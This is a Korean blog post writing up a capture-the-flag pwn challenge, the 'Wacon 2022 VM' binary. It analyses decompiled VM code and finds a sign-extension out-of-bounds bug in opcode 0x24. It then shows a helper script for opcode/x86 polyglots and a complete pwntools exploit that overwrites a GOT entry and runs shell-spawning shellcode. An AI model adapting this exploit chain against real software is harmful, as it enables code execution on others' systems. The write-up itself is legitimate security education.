Wacon VM

msh1307·2023년 3월 19일
0

Writeups

목록 보기
9/15

VM

궁금해서 친구한테 wacon 2022 바이너리를 받아서 풀어보았다.

Analysis

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  char *v3; // rdi
  char **v4; // rbx
  FILE *v5; // rax
  int v6; // eax
  struct _IO_FILE *v7; // rdi
  __int64 v8; // rdi
  unsigned __int8 v9; // al
  unsigned int v10; // ebp

  if ( a1 == 2 )
  {
    v3 = a2[1];
    if ( *(_WORD *)v3 == 45 )
      goto LABEL_5;
    v4 = a2 + 1;
    v5 = fopen(v3, "rb");
    if ( v5 )
    {
      if ( *(_WORD *)*v4 != '-' )
      {
LABEL_6:
        init_(v5);
        setbuf(stdin, 0LL);
        v7 = stdout;
        setbuf(stdout, 0LL);
        ((void (__fastcall *)(struct _IO_FILE *))init__)(v7);
        while ( 1 )
        {
          v8 = *((unsigned __int16 *)&VM + 0x7E);// CUR
          *((_WORD *)&VM + 0x7E) = v8 + 1;
          v9 = get_byte_RWX(v8);
          exec_opcode(v9);
        }
      }
LABEL_5:
      v6 = dup(0);
      v5 = fdopen(v6, "rb");
      goto LABEL_6;
    }
    v10 = 2;
    dprintf(2, "cannot open %s\n", *v4);
  }
  else
  {
    v10 = 1;
    dprintf(2, "Usage: %s <machine input>\n", *a2);
  }
  return v10;
}
char __fastcall exec_opcode(char opcode)
{
  int v1; // edi
  unsigned __int16 arg_2; // ax
  int v3; // edi
  int v4; // edi
  unsigned __int8 v5; // bl
  int v6; // edi
  int v7; // edi
  int v8; // edi
  __int16 v9; // bp
  int v10; // edi
  int v11; // edi
  unsigned __int8 v12; // bl
  int v13; // edi
  int v14; // edi
  unsigned __int8 byte_RWX; // bl
  int v16; // edi
  __int64 arg_1_; // rdx
  int res; // esi
  int v19; // edi
  unsigned __int8 arg_1; // bl
  int v21; // edi
  int v22; // edi
  int v23; // edi
  int v24; // ebp
  int v25; // edi
  unsigned __int8 v26; // al
  int v27; // edi

  if ( opcode <= (char)0xFFFFFFDA )
  {
    switch ( opcode )
    {
      case 0x81:
        v3 = cur++;                             // add_cur
        arg_2 = *((_WORD *)&VM + get_byte_RWX(v3));
        cur += arg_2;
        return arg_2;
      case 0x82:
      case 0x83:
      case 0x84:
      case 0x85:
      case 0x86:
      case 0x87:
      case 0x88:
      case 0x89:
      case 0x8A:
      case 0x8B:
      case 0x8C:
      case 0x8D:
      case 0x8E:
      case 0x8F:
      case 0x90:
      case 0x92:
      case 0x93:
      case 0x94:
      case 0x95:
      case 0x96:
      case 0x97:
      case 0x98:
      case 0x99:
      case 0x9A:
      case 0x9B:
      case 0x9C:
      case 0x9D:
      case 0x9E:
      case 0xA0:
      case 0xA2:
      case 0xA3:
      case 0xA4:
      case 0xA5:
      case 0xA6:
      case 0xA7:
      case 0xA8:
      case 0xA9:
        goto EXIT_FAIL;
      case 0x91:
        v14 = cur++;                            // shift
        byte_RWX = get_byte_RWX(v14);
        v16 = cur++;
        LOBYTE(arg_2) = get_byte_RWX(v16);
        arg_1_ = byte_RWX;
        res = *((unsigned __int16 *)&VM + byte_RWX) << arg_2;
        goto LABEL_19;
      case 0x9F:
        LOBYTE(arg_2) = putc((unsigned __int16)VM, stdout);// putc
        return arg_2;
      case 0xA1:
        v19 = cur++;                            // shift
        arg_1 = get_byte_RWX(v19);
        v21 = cur++;
        LOBYTE(arg_2) = get_byte_RWX(v21);
        arg_1_ = arg_1;
        res = *((unsigned __int16 *)&VM + arg_1) >> arg_2;
LABEL_19:
        *((_WORD *)&VM + arg_1_) = res;
        return arg_2;
      case 0xAA:
        v22 = cur++;                            // SAVE CUR
        LOBYTE(arg_2) = get_byte_RWX(v22);
        *((_WORD *)&VM + (unsigned __int8)arg_2) = cur;
        return arg_2;
      default:
        if ( opcode == (char)0xD3 )
          exit(0);
        goto EXIT_FAIL;
    }
  }
  switch ( opcode )
  {
    case 3:
      v1 = cur++;                               // JZ?
      LOBYTE(arg_2) = get_byte_RWX(v1);
      if ( !FLAG )
        goto LABEL_12;
      return arg_2;
    case 4:
    case 5:
    case 7:
    case 8:
    case 9:
    case 0xA:
    case 0xB:
    case 0xC:
    case 0xE:
    case 0xF:
    case 0x10:
    case 0x11:
    case 0x12:
    case 0x13:
    case 0x14:
    case 0x15:
    case 0x16:
    case 0x17:
    case 0x18:
    case 0x19:
    case 0x1A:
    case 0x1B:
    case 0x1C:
    case 0x1D:
    case 0x1E:
    case 0x1F:
    case 0x20:
    case 0x21:
    case 0x22:
    case 0x23:
      goto EXIT_FAIL;
    case 6:                                     // JNE
      v7 = cur++;
      LOBYTE(arg_2) = get_byte_RWX(v7);
      if ( FLAG )
      {
LABEL_12:
        arg_2 = *((_WORD *)&VM + (unsigned __int8)arg_2);
        cur = arg_2;
      }
      return arg_2;
    case 0xD:
      v8 = cur++;                               // CMP(EQ NEQ)
      v9 = *((_WORD *)&VM + get_byte_RWX(v8));
      v10 = cur++;
      LOBYTE(arg_2) = get_byte_RWX(v10);
      FLAG = v9 == *((_WORD *)&VM + (unsigned __int8)arg_2);
      return arg_2;
    case 0x24:
      v11 = cur++;
      v12 = get_byte_RWX(v11);
      v13 = cur++;
      LOBYTE(arg_2) = get_byte_RWX(v13);
      *((_WORD *)&VM + (char)v12) = ~(*((_WORD *)&VM + (char)arg_2) & *((_WORD *)&VM + (char)v12));
      return arg_2;
    default:
      if ( opcode == (char)0xDB )               // mem[idx] =  mem[16bit(arg1,arg2)]
      {
        v23 = cur++;
        v24 = get_byte_RWX(v23) << 8;
        v25 = cur++;
        v26 = get_byte_RWX(v25);
        LOWORD(v24) = get_byte_RWX(v24 | v26);
        v27 = cur++;
        LOBYTE(arg_2) = get_byte_RWX(v27);
        *((_WORD *)&VM + (unsigned __int8)arg_2) = v24;
      }
      else
      {
        if ( opcode != 0x73 )
EXIT_FAIL:
          PRINT_FAIL();
        v4 = cur++;
        v5 = get_byte_RWX(v4);
        v6 = cur++;
        LOBYTE(arg_2) = get_byte_RWX(v6);
        if ( !FLAG )
        {
          arg_2 = (v5 << 8) | (unsigned __int8)arg_2;
          cur = arg_2;
        }
      }
      return arg_2;
  }
}

일반적인 VM이랑은 약간 다르다.
비트 연산이 조금 구현되어있는게 끝이다.

Exploitation

    case 0x24:
      v11 = cur++;
      v12 = get_byte_RWX(v11);
      v13 = cur++;
      LOBYTE(arg_2) = get_byte_RWX(v13);
      *((_WORD *)&VM + (char)v12) = ~(*((_WORD *)&VM + (char)arg_2) & *((_WORD *)&VM + (char)v12));
      return arg_2;
.text:0000000000001508                 movsx   rax, al         ; Move with Sign-Extend
.text:000000000000150C                 movsx   rcx, bl         ; Move with Sign-Extend
.text:0000000000001510                 movzx   edx, word ptr [r14+rcx*2] ; Move with Zero-Extend
.text:0000000000001515                 and     dx, [r14+rax*2] ; Logical AND
.text:000000000000151A                 not     edx             ; One's Complement Negation
.text:000000000000151C                 mov     [r14+rcx*2], dx

다른 opcode들은 죄다 처리할때 movzx를 통해서 늘릴때 sign bit를 날리는데, 여기서만 movsx이다.
그래서 OOB를 내서 got overwrite 해주면 된다.
마침 partial relro다.
0x0이랑 and하고 not해서 0xffffffffffffffff를 만들어주고 got 0x0으로 지워준다.
그리고 mmap rwx로 매핑되어있는 메모리 주소를 not한 주소를 저장하고, got에 덮을때 한번 더 not을 해서 원래 값으로 복원해주면 된다.
exit 할때 mmap으로 매핑된 메모리 처음 주소로 점프한다.
이때 vm opcode랑 겹치니까 opcode랑 겹치면서 x86이랑도 겹치게 만들어줬다.
그냥 got 덮을때 뒤에 2바이트씩 조정해줘도 상관없긴한데 귀찮아진다.

from capstone import *
from tqdm import tqdm
import itertools
import struct
vm_opcodes_args = [[0x81,1],[0x91,2],[0x9F,0],[0xA1,2],[0xAA,1],[0x3,1],[0x6,1],[0xD,2],[0x24,2],[0xd8,2],[0x73,2]]
#vm_opcodes_args = [[0x91,2]]
cs = Cs(CS_ARCH_X86, CS_MODE_64)
OPS = []
for oa in vm_opcodes_args:
    a = [i for i in range(0x100)]
    a *= oa[1]
    op = oa[0].to_bytes(1,byteorder='little')
    for tp in tqdm(itertools.permutations(a,oa[1])):
        code = op + bytes(tp)
        for k in cs.disasm(code,0x0):
            flag = 1
            for i in OPS:
                if i[0] == k.mnemonic:
                    flag = 0
            if flag:
                OPS.append([k.mnemonic,oa[1],oa[0]])
def print_candi(OPS):
    print("--- Candidates ---")
    for i in OPS:
        print(i[0])
if __name__ == "__main__":
    print_candi(OPS)
    while True:
        print("\n> ",end='')
        opcode = input()
        if opcode == 'exit':
            exit()
        elif opcode == 'candidates':
            print_candi(OPS)
            continue
        elif opcode.startswith('['):
            for k in cs.disasm(bytes(eval(opcode)),0x0):
                print("%d | %s   %s"%(k.address, k.mnemonic,k.op_str))
            continue
        flag = 0
        for i,j in enumerate(OPS):
            if j[0] == opcode:
                flag=1
                idx=i
                break
        if flag:
            a = [i for i in range(0x100)]
            a *= OPS[idx][1]
            op = OPS[idx][2].to_bytes(1,byteorder='little')
            for i in itertools.permutations(a,OPS[idx][1]):
                code = op + bytes(i)
                for k in cs.disasm(code,0x0):
                    if k.mnemonic == opcode:
                        print("%s   %s"%(k.mnemonic,k.op_str),end='')
                        arr = [x for x in code]
                        print('  // '+str(arr))
        else:
            print("Not found")

opcode랑 argument 개수 넣어주고, 뽑아주면 된다.

root@ed1ff428eb33 ~/Desktop/CTF/wacon_VM
❯ python3 vmops2x86.py
256it [00:00, 124506.24it/s]
261632it [00:31, 8273.33it/s]
1it [00:00, 7319.90it/s]
261632it [00:00, 384716.08it/s]
256it [00:00, 7445.63it/s]
256it [00:00, 20044.84it/s]
256it [00:00, 336913.03it/s]
261632it [00:00, 385433.06it/s]
261632it [00:34, 7605.85it/s]
261632it [00:21, 11922.89it/s]
261632it [00:34, 7580.34it/s]
--- Candidates ---
xchg
add
or
syscall
clts
sysret
invd
wbinvd
ud2
femms
wrmsr
rdtsc
rdmsr
rdpmc
sysenter
sysexit
getsec
emms
push
pop
cpuid
rsm
ud2b
bswap
ud0
adc
sbb
and
insb
insd
outsb
outsd
nop
cwde
cdq
wait
pushfq
popfq
sahf
lahf
movsb
movsd
cmpsb
cmpsd
stosb
stosd
lodsb
lodsd
scasb
scasd
ret
leave
retf
int3
iretd
xlatb
in
out
int1
hlt
cmc
clc
stc
cli
sti
cld
std
sub
xor
cmp
cdqe
cqo
movsq
cmpsq
stosq
lodsq
scasq
retfq
iretq
movsxd
insw
outsw
cbw
cwd
pushf
popf
movsw
cmpsw
stosw
lodsw
scasw
iret
jo
jno
jb
jae
je
jne
jbe
ja
js
jns
jp
jnp
jl
jge
jle
jg
test
mov
lea
int
rol
ror
rcl
rcr
shl
shr
sal
sar
fadd
fmul
fcom
fcomp
fsub
fsubr
fdiv
fdivr
fld
fst
fstp
fldenv
fldcw
fnstenv
fnstcw
fxch
fnop
fstpnce
fchs
fabs
ftst
fxam
fld1
fldl2t
fldl2e
fldpi
fldlg2
fldln2
fldz
f2xm1
fyl2x
fptan
fpatan
fxtract
fprem1
fdecstp
fincstp
fprem
fyl2xp1
fsqrt
fsincos
frndint
fscale
fsin
fcos
fiadd
fimul
ficom
ficomp
fisub
fisubr
fidiv
fidivr
fcmovb
fcmove
fcmovbe
fcmovu
fucompp
fild
fisttp
fist
fistp
fcmovnb
fcmovne
fcmovnbe
fcmovnu
feni8087_nop
fdisi8087_nop
fnclex
fninit
fsetpm
fucomi
fcomi
frstor
fnsave
fnstsw
ffree
fucom
fucomp
faddp
fmulp
fcompp
fsubrp
fsubp
fdivrp
fdivp
fbld
fbstp
ffreep
fucomip
fcomip
loopne
loope
loop
jrcxz
jmp
repne insb
repne insd
repne outsb
repne outsd
repne movsb
repne cmpsb
repne cmpsd
repne stosb
repne stosd
repne lodsb
repne lodsd
repne scasb
repne scasd
bnd ret
bnd retf
rep insb
rep insd
rep outsb
rep outsd
pause
rep movsb
rep movsd
repe cmpsb
repe cmpsd
rep stosb
rep stosd
rep lodsb
rep lodsd
repe scasb
repe scasd
not
neg
mul
imul
div
idiv
inc
dec
call
lcall
ljmp

>

jmp를 골랐다.

> jmp
jmp   3  // [145, 235, 0]
jmp   4  // [145, 235, 1]
jmp   5  // [145, 235, 2]
jmp   6  // [145, 235, 3]
jmp   7  // [145, 235, 4]
jmp   8  // [145, 235, 5]
jmp   9  // [145, 235, 6]
jmp   0xa  // [145, 235, 7]
jmp   0xb  // [145, 235, 8]
jmp   0xc  // [145, 235, 9]
jmp   0xd  // [145, 235, 10]
jmp   0xe  // [145, 235, 11]
jmp   0xf  // [145, 235, 12]
jmp   0x10  // [145, 235, 13]
jmp   0x11  // [145, 235, 14]
jmp   0x12  // [145, 235, 15]
jmp   0x13  // [145, 235, 16]
jmp   0x14  // [145, 235, 17]
jmp   0x15  // [145, 235, 18]
jmp   0x16  // [145, 235, 19]
jmp   0x17  // [145, 235, 20]
jmp   0x18  // [145, 235, 21]
jmp   0x19  // [145, 235, 22]
jmp   0x1a  // [145, 235, 23]
jmp   0x1b  // [145, 235, 24]
jmp   0x1c  // [145, 235, 25]
jmp   0x1d  // [145, 235, 26]
jmp   0x1e  // [145, 235, 27]
jmp   0x1f  // [145, 235, 28]
jmp   0x20  // [145, 235, 29]
jmp   0x21  // [145, 235, 30]
jmp   0x22  // [145, 235, 31]
jmp   0x23  // [145, 235, 32]
jmp   0x24  // [145, 235, 33]
jmp   0x25  // [145, 235, 34]
jmp   0x26  // [145, 235, 35]
jmp   0x27  // [145, 235, 36]
jmp   0x28  // [145, 235, 37]
jmp   0x29  // [145, 235, 38]
jmp   0x2a  // [145, 235, 39]
jmp   0x2b  // [145, 235, 40]
jmp   0x2c  // [145, 235, 41]
jmp   0x2d  // [145, 235, 42]
jmp   0x2e  // [145, 235, 43]
jmp   0x2f  // [145, 235, 44]
jmp   0x30  // [145, 235, 45]
jmp   0x31  // [145, 235, 46]
jmp   0x32  // [145, 235, 47]
jmp   0x33  // [145, 235, 48]
jmp   0x34  // [145, 235, 49]
jmp   0x35  // [145, 235, 50]
jmp   0x36  // [145, 235, 51]
jmp   0x37  // [145, 235, 52]
jmp   0x38  // [145, 235, 53]
jmp   0x39  // [145, 235, 54]
jmp   0x3a  // [145, 235, 55]
jmp   0x3b  // [145, 235, 56]
jmp   0x3c  // [145, 235, 57]
jmp   0x3d  // [145, 235, 58]
jmp   0x3e  // [145, 235, 59]
jmp   0x3f  // [145, 235, 60]
jmp   0x40  // [145, 235, 61]
jmp   0x41  // [145, 235, 62]
jmp   0x42  // [145, 235, 63]
jmp   0x43  // [145, 235, 64]
jmp   0x44  // [145, 235, 65]

적당하게 0x40 정도를 골랐다.

Exploit script

> [145, 235, 61]
0 | xchg   eax, ecx
1 | jmp   0x40
from pwn import *
sl = lambda x: p.sendline(x)
p = process(["./vm","-"])
context.binary = './vm'
def go(offset,arg) -> bytes:
    return b'\x24'+p8((offset>>1)&0xff) + p8(arg>>1&0xff)
def go_8(offset,arg) -> bytes:
    ret = b''
    for i in range(4):
        ret += go(offset+2*i,arg+2*i)
    return ret
const_00 = 0x0
const_off_exit = -0x30
const_off_rwx = -0x8
const_buf = 0x30
# jmp   0x40  //  [145, 235, 61]
shellcode = bytes([145, 235, 61])   
shellcode += go_8(const_buf,const_00)
shellcode += go_8(const_off_exit,const_00)
shellcode += go_8(const_buf,const_off_rwx)
shellcode += go_8(const_off_exit, const_buf)
shellcode += b'\x00'*(0x40-len(shellcode))
shellcode += asm(shellcraft.sh())
print(hex(len(shellcode)))
shellcode += b'\x00'*(0x10000-len(shellcode))
pause()
sl(shellcode)
p.interactive() 

# scenario 
# buf = ~(mem[]0xffffffffffffffff & buf)
# got = ~(mem[]0x0 &got)
# buf = ~(RWX & buf)
# got = ~(buf & got)

profile
https://msh1307.kr

0개의 댓글